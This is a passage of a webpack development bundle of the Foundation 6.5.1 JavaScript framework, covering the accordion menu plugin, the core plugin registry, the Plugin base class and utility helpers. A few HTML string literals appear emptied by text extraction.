_assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * AccordionMenu module.\n * @module foundation.accordionMenu\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n */\n\nvar AccordionMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(AccordionMenu, _Plugin);\n\n function AccordionMenu() {\n _classCallCheck(this, AccordionMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(AccordionMenu).apply(this, arguments));\n }\n\n _createClass(AccordionMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of an accordion menu.\n * @class\n * @name AccordionMenu\n * @fires AccordionMenu#init\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, AccordionMenu.defaults, this.$element.data(), options);\n this.className = 'AccordionMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('AccordionMenu', {\n 'ENTER': 'toggle',\n 'SPACE': 'toggle',\n 'ARROW_RIGHT': 'open',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'close',\n 'ESCAPE': 'closeAll'\n });\n }\n /**\n * Initializes the accordion menu by hiding all nested menus.\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'accordion');\n\n var _this = this;\n\n this.$element.find('[data-submenu]').not('.is-active').slideUp(0); //.find('a').css('padding-left', '1rem');\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': this.options.multiOpen\n });\n this.$menuLinks = this.$element.find('.is-accordion-submenu-parent');\n this.$menuLinks.each(function () {\n var linkId = this.id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu-link'),\n $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $elem.children('[data-submenu]'),\n subId = $sub[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu'),\n isActive = $sub.hasClass('is-active');\n\n if (_this.options.parentLink) {\n var $anchor = $elem.children('a');\n $anchor.clone().prependTo($sub).wrap('
  • ');\n }\n\n if (_this.options.submenuToggle) {\n $elem.addClass('has-submenu-toggle');\n $elem.children('a').after('');\n } else {\n $elem.attr({\n 'aria-controls': subId,\n 'aria-expanded': isActive,\n 'id': linkId\n });\n }\n\n $sub.attr({\n 'aria-labelledby': linkId,\n 'aria-hidden': !isActive,\n 'role': 'group',\n 'id': subId\n });\n });\n this.$element.find('li').attr({\n 'role': 'treeitem'\n });\n var initPanes = this.$element.find('.is-active');\n\n if (initPanes.length) {\n var _this = this;\n\n initPanes.each(function () {\n _this.down(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n });\n }\n\n this._events();\n }\n /**\n * Adds event handlers for items within the menu.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this;\n\n this.$element.find('li').each(function () {\n var $submenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]');\n\n if ($submenu.length) {\n if (_this.options.submenuToggle) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('.submenu-toggle').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n _this.toggle($submenu);\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('a').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n e.preventDefault();\n\n _this.toggle($submenu);\n });\n }\n }\n }).on('keydown.zf.accordionmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('ul').children('li'),\n $prevElement,\n $nextElement,\n $target = $element.children('[data-submenu]');\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1)).find('a').first();\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1)).find('a').first();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]:visible').length) {\n // has open sub menu\n $nextElement = $element.find('li:first-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':first-child')) {\n // is first element of sub menu\n $prevElement = $element.parents('li').first().find('a').first();\n } else if ($prevElement.parents('li').first().children('[data-submenu]:visible').length) {\n // if previous element has open sub menu\n $prevElement = $prevElement.parents('li').find('li:last-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':last-child')) {\n // is last element of sub menu\n $nextElement = $element.parents('li').first().next('li').find('a').first();\n }\n\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'AccordionMenu', {\n open: function open() {\n if ($target.is(':hidden')) {\n _this.down($target);\n\n $target.find('li').first().find('a').first().focus();\n }\n },\n close: function close() {\n if ($target.length && !$target.is(':hidden')) {\n // close active sub of this item\n _this.up($target);\n } else if ($element.parent('[data-submenu]').length) {\n // close currently open sub\n _this.up($element.parent('[data-submenu]'));\n\n $element.parents('li').first().find('a').first().focus();\n }\n },\n up: function up() {\n $prevElement.focus();\n return true;\n },\n down: function down() {\n $nextElement.focus();\n return true;\n },\n toggle: function toggle() {\n if (_this.options.submenuToggle) {\n return false;\n }\n\n if ($element.children('[data-submenu]').length) {\n _this.toggle($element.children('[data-submenu]'));\n\n return true;\n }\n },\n closeAll: function closeAll() {\n _this.hideAll();\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); //.attr('tabindex', 0);\n }\n /**\n * Closes all panes of the menu.\n * @function\n */\n\n }, {\n key: \"hideAll\",\n value: function hideAll() {\n this.up(this.$element.find('[data-submenu]'));\n }\n /**\n * Opens all panes of the menu.\n * @function\n */\n\n }, {\n key: \"showAll\",\n value: function showAll() {\n this.down(this.$element.find('[data-submenu]'));\n }\n /**\n * Toggles the open/close state of a submenu.\n * @function\n * @param {jQuery} $target - the submenu to toggle\n */\n\n }, {\n key: \"toggle\",\n value: function toggle($target) {\n if (!$target.is(':animated')) {\n if (!$target.is(':hidden')) {\n this.up($target);\n } else {\n this.down($target);\n }\n }\n }\n /**\n * Opens the sub-menu defined by `$target`.\n * @param {jQuery} $target - Sub-menu to open.\n * @fires AccordionMenu#down\n */\n\n }, {\n key: \"down\",\n value: function down($target) {\n var _this2 = this;\n\n if (!this.options.multiOpen) {\n this.up(this.$element.find('.is-active').not($target.parentsUntil(this.$element).add($target)));\n }\n\n $target.addClass('is-active').attr({\n 'aria-hidden': false\n });\n\n if (this.options.submenuToggle) {\n $target.prev('.submenu-toggle').attr({\n 'aria-expanded': true\n });\n } else {\n $target.parent('.is-accordion-submenu-parent').attr({\n 'aria-expanded': true\n });\n }\n\n $target.slideDown(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done opening.\n * @event AccordionMenu#down\n */\n _this2.$element.trigger('down.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Closes the sub-menu defined by `$target`. All sub-menus inside the target will be closed as well.\n * @param {jQuery} $target - Sub-menu to close.\n * @fires AccordionMenu#up\n */\n\n }, {\n key: \"up\",\n value: function up($target) {\n var _this3 = this;\n\n var $submenus = $target.find('[data-submenu]');\n var $allmenus = $target.add($submenus);\n $submenus.slideUp(0);\n $allmenus.removeClass('is-active').attr('aria-hidden', true);\n\n if (this.options.submenuToggle) {\n $allmenus.prev('.submenu-toggle').attr('aria-expanded', false);\n } else {\n $allmenus.parent('.is-accordion-submenu-parent').attr('aria-expanded', false);\n }\n\n $target.slideUp(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done collapsing up.\n * @event AccordionMenu#up\n */\n _this3.$element.trigger('up.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Destroys an instance of accordion menu.\n * @fires AccordionMenu#destroyed\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$element.find('[data-submenu]').slideDown(0).css('display', '');\n this.$element.find('a').off('click.zf.accordionMenu');\n this.$element.find('[data-is-parent-link]').detach();\n\n if (this.options.submenuToggle) {\n this.$element.find('.has-submenu-toggle').removeClass('has-submenu-toggle');\n this.$element.find('.submenu-toggle').remove();\n }\n\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'accordion');\n }\n }]);\n\n return AccordionMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__[\"Plugin\"]);\n\nAccordionMenu.defaults = {\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Amount of time to animate the opening of a submenu in ms.\n * @option\n * @type {number}\n * @default 250\n */\n slideSpeed: 250,\n\n /**\n * Adds a separate submenu toggle button. This allows the parent item to have a link.\n * @option\n * @example true\n */\n submenuToggle: false,\n\n /**\n * The text used for the submenu toggle if enabled. This is used for screen readers only.\n * @option\n * @example true\n */\n submenuToggleText: 'Toggle menu',\n\n /**\n * Allow the menu to have multiple open panes.\n * @option\n * @type {boolean}\n * @default true\n */\n multiOpen: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.accordionMenu.js?")},"./js/foundation.core.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Foundation\", function() { return Foundation; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\nvar FOUNDATION_VERSION = '6.5.1'; // Global Foundation object\n// This is attached to the window, or used as a module for AMD/Browserify\n\nvar Foundation = {\n version: FOUNDATION_VERSION,\n\n /**\n * Stores initialized plugins.\n */\n _plugins: {},\n\n /**\n * Stores generated unique ids for plugin instances\n */\n _uuids: [],\n\n /**\n * Defines a Foundation plugin, adding it to the `Foundation` namespace and the list of plugins to initialize when reflowing.\n * @param {Object} plugin - The constructor of the plugin.\n */\n plugin: function plugin(_plugin, name) {\n // Object key to use when adding to global Foundation object\n // Examples: Foundation.Reveal, Foundation.OffCanvas\n var className = name || functionName(_plugin); // Object key to use when storing the plugin, also used to create the identifying data attribute for the plugin\n // Examples: data-reveal, data-off-canvas\n\n var attrName = hyphenate(className); // Add to the Foundation object and the plugins list (for reflowing)\n\n this._plugins[attrName] = this[className] = _plugin;\n },\n\n /**\n * @function\n * Populates the _uuids array with pointers to each individual plugin instance.\n * Adds the `zfPlugin` data-attribute to programmatically created plugins to allow use of $(selector).foundation(method) calls.\n * Also fires the initialization event for each plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @param {String} name - the name of the plugin, passed as a camelCased string.\n * @fires Plugin#init\n */\n registerPlugin: function registerPlugin(plugin, name) {\n var pluginName = name ? hyphenate(name) : functionName(plugin.constructor).toLowerCase();\n plugin.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"GetYoDigits\"])(6, pluginName);\n\n if (!plugin.$element.attr(\"data-\".concat(pluginName))) {\n plugin.$element.attr(\"data-\".concat(pluginName), plugin.uuid);\n }\n\n if (!plugin.$element.data('zfPlugin')) {\n plugin.$element.data('zfPlugin', plugin);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n plugin.$element.trigger(\"init.zf.\".concat(pluginName));\n\n this._uuids.push(plugin.uuid);\n\n return;\n },\n\n /**\n * @function\n * Removes the plugins uuid from the _uuids array.\n * Removes the zfPlugin data attribute, as well as the data-plugin-name attribute.\n * Also fires the destroyed event for the plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @fires Plugin#destroyed\n */\n unregisterPlugin: function unregisterPlugin(plugin) {\n var pluginName = hyphenate(functionName(plugin.$element.data('zfPlugin').constructor));\n\n this._uuids.splice(this._uuids.indexOf(plugin.uuid), 1);\n\n plugin.$element.removeAttr(\"data-\".concat(pluginName)).removeData('zfPlugin')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger(\"destroyed.zf.\".concat(pluginName));\n\n for (var prop in plugin) {\n plugin[prop] = null; //clean up script to prep for garbage collection.\n }\n\n return;\n },\n\n /**\n * @function\n * Causes one or more active plugins to re-initialize, resetting event listeners, recalculating positions, etc.\n * @param {String} plugins - optional string of an individual plugin key, attained by calling `$(element).data('pluginName')`, or string of a plugin class i.e. `'dropdown'`\n * @default If no argument is passed, reflow all currently active plugins.\n */\n reInit: function reInit(plugins) {\n var isJQ = plugins instanceof jquery__WEBPACK_IMPORTED_MODULE_0___default.a;\n\n try {\n if (isJQ) {\n plugins.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('zfPlugin')._init();\n });\n } else {\n var type = _typeof(plugins),\n _this = this,\n fns = {\n 'object': function object(plgs) {\n plgs.forEach(function (p) {\n p = hyphenate(p);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + p + ']').foundation('_init');\n });\n },\n 'string': function string() {\n plugins = hyphenate(plugins);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + plugins + ']').foundation('_init');\n },\n 'undefined': function undefined() {\n this['object'](Object.keys(_this._plugins));\n }\n };\n\n fns[type](plugins);\n }\n } catch (err) {\n console.error(err);\n } finally {\n return plugins;\n }\n },\n\n /**\n * Initialize plugins on any elements within `elem` (and `elem` itself) that aren't already initialized.\n * @param {Object} elem - jQuery object containing the element to check inside. Also checks the element itself, unless it's the `document` object.\n * @param {String|Array} plugins - A list of plugins to initialize. Leave this out to initialize everything.\n */\n reflow: function reflow(elem, plugins) {\n // If plugins is undefined, just grab everything\n if (typeof plugins === 'undefined') {\n plugins = Object.keys(this._plugins);\n } // If plugins is a string, convert it to an array with one item\n else if (typeof plugins === 'string') {\n plugins = [plugins];\n }\n\n var _this = this; // Iterate through each plugin\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(plugins, function (i, name) {\n // Get the current plugin\n var plugin = _this._plugins[name]; // Localize the search to all elements inside elem, as well as elem itself, unless elem === document\n\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(elem).find('[data-' + name + ']').addBack('[data-' + name + ']'); // For each plugin found, initialize it\n\n $elem.each(function () {\n var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n opts = {}; // Don't double-dip on plugins\n\n if ($el.data('zfPlugin')) {\n console.warn(\"Tried to initialize \" + name + \" on an element that already has a Foundation plugin.\");\n return;\n }\n\n if ($el.attr('data-options')) {\n var thing = $el.attr('data-options').split(';').forEach(function (e, i) {\n var opt = e.split(':').map(function (el) {\n return el.trim();\n });\n if (opt[0]) opts[opt[0]] = parseValue(opt[1]);\n });\n }\n\n try {\n $el.data('zfPlugin', new plugin(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), opts));\n } catch (er) {\n console.error(er);\n } finally {\n return;\n }\n });\n });\n },\n getFnName: functionName,\n addToJquery: function addToJquery($) {\n // TODO: consider not making this a jQuery function\n // TODO: need way to reflow vs. re-initialize\n\n /**\n * The Foundation jQuery method.\n * @param {String|Array} method - An action to perform on the current jQuery object.\n */\n var foundation = function foundation(method) {\n var type = _typeof(method),\n $noJS = $('.no-js');\n\n if ($noJS.length) {\n $noJS.removeClass('no-js');\n }\n\n if (type === 'undefined') {\n //needs to initialize the Foundation object, or an individual plugin.\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__[\"MediaQuery\"]._init();\n\n Foundation.reflow(this);\n } else if (type === 'string') {\n //an individual method to invoke on a plugin or group of plugins\n var args = Array.prototype.slice.call(arguments, 1); //collect all the arguments, if necessary\n\n var plugClass = this.data('zfPlugin'); //determine the class of plugin\n\n if (typeof plugClass !== 'undefined' && typeof plugClass[method] !== 'undefined') {\n //make sure both the class and method exist\n if (this.length === 1) {\n //if there's only one, call it directly.\n plugClass[method].apply(plugClass, args);\n } else {\n this.each(function (i, el) {\n //otherwise loop through the jQuery collection and invoke the method on each\n plugClass[method].apply($(el).data('zfPlugin'), args);\n });\n }\n } else {\n //error for no class or no method\n throw new ReferenceError(\"We're sorry, '\" + method + \"' is not an available method for \" + (plugClass ? functionName(plugClass) : 'this element') + '.');\n }\n } else {\n //error for invalid argument type\n throw new TypeError(\"We're sorry, \".concat(type, \" is not a valid parameter. You must use a string representing the method you wish to invoke.\"));\n }\n\n return this;\n };\n\n $.fn.foundation = foundation;\n return $;\n }\n};\nFoundation.util = {\n /**\n * Function for applying a debounce effect to a function call.\n * @function\n * @param {Function} func - Function to be called at end of timeout.\n * @param {Number} delay - Time in ms to delay the call of `func`.\n * @returns function\n */\n throttle: function throttle(func, delay) {\n var timer = null;\n return function () {\n var context = this,\n args = arguments;\n\n if (timer === null) {\n timer = setTimeout(function () {\n func.apply(context, args);\n timer = null;\n }, delay);\n }\n };\n }\n};\nwindow.Foundation = Foundation; // Polyfill for requestAnimationFrame\n\n(function () {\n if (!Date.now || !window.Date.now) window.Date.now = Date.now = function () {\n return new Date().getTime();\n };\n var vendors = ['webkit', 'moz'];\n\n for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) {\n var vp = vendors[i];\n window.requestAnimationFrame = window[vp + 'RequestAnimationFrame'];\n window.cancelAnimationFrame = window[vp + 'CancelAnimationFrame'] || window[vp + 'CancelRequestAnimationFrame'];\n }\n\n if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) {\n var lastTime = 0;\n\n window.requestAnimationFrame = function (callback) {\n var now = Date.now();\n var nextTime = Math.max(lastTime + 16, now);\n return setTimeout(function () {\n callback(lastTime = nextTime);\n }, nextTime - now);\n };\n\n window.cancelAnimationFrame = clearTimeout;\n }\n /**\n * Polyfill for performance.now, required by rAF\n */\n\n\n if (!window.performance || !window.performance.now) {\n window.performance = {\n start: Date.now(),\n now: function now() {\n return Date.now() - this.start;\n }\n };\n }\n})();\n\nif (!Function.prototype.bind) {\n Function.prototype.bind = function (oThis) {\n if (typeof this !== 'function') {\n // closest thing possible to the ECMAScript 5\n // internal IsCallable function\n throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');\n }\n\n var aArgs = Array.prototype.slice.call(arguments, 1),\n fToBind = this,\n fNOP = function fNOP() {},\n fBound = function fBound() {\n return fToBind.apply(this instanceof fNOP ? this : oThis, aArgs.concat(Array.prototype.slice.call(arguments)));\n };\n\n if (this.prototype) {\n // native functions don't have a prototype\n fNOP.prototype = this.prototype;\n }\n\n fBound.prototype = new fNOP();\n return fBound;\n };\n} // Polyfill to get the name of a function in IE9\n\n\nfunction functionName(fn) {\n if (typeof Function.prototype.name === 'undefined') {\n var funcNameRegex = /function\\s([^(]{1,})\\(/;\n var results = funcNameRegex.exec(fn.toString());\n return results && results.length > 1 ? results[1].trim() : \"\";\n } else if (typeof fn.prototype === 'undefined') {\n return fn.constructor.name;\n } else {\n return fn.prototype.constructor.name;\n }\n}\n\nfunction parseValue(str) {\n if ('true' === str) return true;else if ('false' === str) return false;else if (!isNaN(str * 1)) return parseFloat(str);\n return str;\n} // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.js?")},"./js/foundation.core.plugin.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Plugin", function() { return Plugin; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\n\n // Abstract class for providing lifecycle hooks. Expect plugins to define AT LEAST\n// {function} _setup (replaces previous constructor),\n// {function} _destroy (replaces previous destroy)\n\nvar Plugin =\n/*#__PURE__*/\nfunction () {\n function Plugin(element, options) {\n _classCallCheck(this, Plugin);\n\n this._setup(element, options);\n\n var pluginName = getPluginName(this);\n this.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, pluginName);\n\n if (!this.$element.attr("data-".concat(pluginName))) {\n this.$element.attr("data-".concat(pluginName), this.uuid);\n }\n\n if (!this.$element.data(\'zfPlugin\')) {\n this.$element.data(\'zfPlugin\', this);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n this.$element.trigger("init.zf.".concat(pluginName));\n }\n\n _createClass(Plugin, [{\n key: "destroy",\n value: function destroy() {\n this._destroy();\n\n var pluginName = getPluginName(this);\n this.$element.removeAttr("data-".concat(pluginName)).removeData(\'zfPlugin\')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger("destroyed.zf.".concat(pluginName));\n\n for (var prop in this) {\n this[prop] = null; //clean up script to prep for garbage collection.\n }\n }\n }]);\n\n return Plugin;\n}(); // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, \'$1-$2\').toLowerCase();\n}\n\nfunction getPluginName(obj) {\n if (typeof obj.constructor.name !== \'undefined\') {\n return hyphenate(obj.constructor.name);\n } else {\n return hyphenate(obj.className);\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.plugin.js?')},"./js/foundation.core.utils.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"rtl\", function() { return rtl; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"GetYoDigits\", function() { return GetYoDigits; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"RegExpEscape\", function() { return RegExpEscape; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"transitionend\", function() { return transitionend; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"onLoad\", function() { return onLoad; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"ignoreMousedisappear\", function() { return ignoreMousedisappear; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n // Core Foundation Utilities, utilized in a number of places.\n\n/**\n * Returns a boolean for RTL support\n */\n\nfunction rtl() {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').attr('dir') === 'rtl';\n}\n/**\n * returns a random base-36 uid with namespacing\n * @function\n * @param {Number} length - number of random base-36 digits desired. Increase for more random strings.\n * @param {String} namespace - name of plugin to be incorporated in uid, optional.\n * @default {String} '' - if no plugin name is provided, nothing is appended to the uid.\n * @returns {String} - unique id\n */\n\n\nfunction GetYoDigits(length, namespace) {\n length = length || 6;\n return Math.round(Math.pow(36, length + 1) - Math.random() * Math.pow(36, length)).toString(36).slice(1) + (namespace ? \"-\".concat(namespace) : '');\n}\n/**\n * Escape a string so it can be used as a regexp pattern\n * @function\n * @see https://stackoverflow.com/a/9310752/4317384\n *\n * @param {String} str - string to escape.\n * @returns {String} - escaped string\n */\n\n\nfunction RegExpEscape(str) {\n return str.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&');\n}\n\nfunction transitionend($elem) {\n var transitions = {\n 'transition': 'transitionend',\n 'WebkitTransition': 'webkitTransitionEnd',\n 'MozTransition': 'transitionend',\n 'OTransition': 'otransitionend'\n };\n var elem = document.createElement('div'),\n end;\n\n for (var t in transitions) {\n if (typeof elem.style[t] !== 'undefined') {\n end = transitions[t];\n }\n }\n\n if (end) {\n return end;\n } else {\n end = setTimeout(function () {\n $elem.triggerHandler('transitionend', [$elem]);\n }, 1);\n return 'transitionend';\n }\n}\n/**\n * Return an event type to listen for window load.\n *\n * If `$elem` is passed, an event will be triggered on `$elem`. If window is already loaded, the event will still be triggered.\n * If `handler` is passed, attach it to the event on `$elem`.\n * Calling `onLoad` without handler allows you to get the event type that will be triggered before attaching the handler by yourself.\n * @function\n *\n * @param {Object} [] $elem - jQuery element on which the event will be triggered if passed.\n * @param {Function} [] handler - function to attach to the event.\n * @returns {String} - event type that should or will be triggered.\n */\n\n\nfunction onLoad($elem, handler) {\n var didLoad = document.readyState === 'complete';\n var eventType = (didLoad ? '_didLoad' : 'load') + '.zf.util.onLoad';\n\n var cb = function cb() {\n return $elem.triggerHandler(eventType);\n };\n\n if ($elem) {\n if (handler) $elem.one(eventType, handler);\n if (didLoad) setTimeout(cb);else jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).one('load', cb);\n }\n\n return eventType;\n}\n/**\n * Retuns an handler for the `mouseleave` that ignore disappeared mouses.\n *\n * If the mouse \"disappeared\" from the document (like when going on a browser UI element, See https://git.io/zf-11410),\n * the event is ignored.\n * - If the `ignoreLeaveWindow` is `true`, the event is ignored when the user actually left the window\n * (like by switching to an other window with [Alt]+[Tab]).\n * - If the `ignoreReappear` is `true`, the event will be ignored when the mouse will reappear later on the document\n * outside of the element it left.\n *\n * @function\n *\n * @param {Function} [] handler - handler for the filtered `mouseleave` event to watch.\n * @param {Object} [] options - object of options:\n * - {Boolean} [false] ignoreLeaveWindow - also ignore when the user switched windows.\n * - {Boolean} [false] ignoreReappear - also ignore when the mouse reappeared outside of the element it left.\n * @returns {Function} - filtered handler to use to listen on the `mouseleave` event.\n */\n\n\nfunction ignoreMousedisappear(handler) {\n var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},\n _ref$ignoreLeaveWindo = _ref.ignoreLeaveWindow,\n ignoreLeaveWindow = _ref$ignoreLeaveWindo === void 0 ? false : _ref$ignoreLeaveWindo,\n _ref$ignoreReappear = _ref.ignoreReappear,\n ignoreReappear = _ref$ignoreReappear === void 0 ? false : _ref$ignoreReappear;\n\n return function leaveEventHandler(eLeave) {\n for (var _len = arguments.length, rest = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n rest[_key - 1] = arguments[_key];\n }\n\n var callback = handler.bind.apply(handler, [this, eLeave].concat(rest)); // The mouse left: call the given callback if the mouse entered elsewhere\n\n if (eLeave.relatedTarget !== null) {\n return callback();\n } // Otherwise, check if the mouse actually left the window.\n // In firefox if the user switched between windows, the window sill have the focus by the time\n // the event is triggered. We have to debounce the event to test this case.\n\n\n setTimeout(function leaveEventDebouncer() {\n if (!ignoreLeaveWindow && document.hasFocus && !document.hasFocus()) {\n return callback();\n } // Otherwise, wait for the mouse to reeapear outside of the element,\n\n\n if (!ignoreReappear) {\n 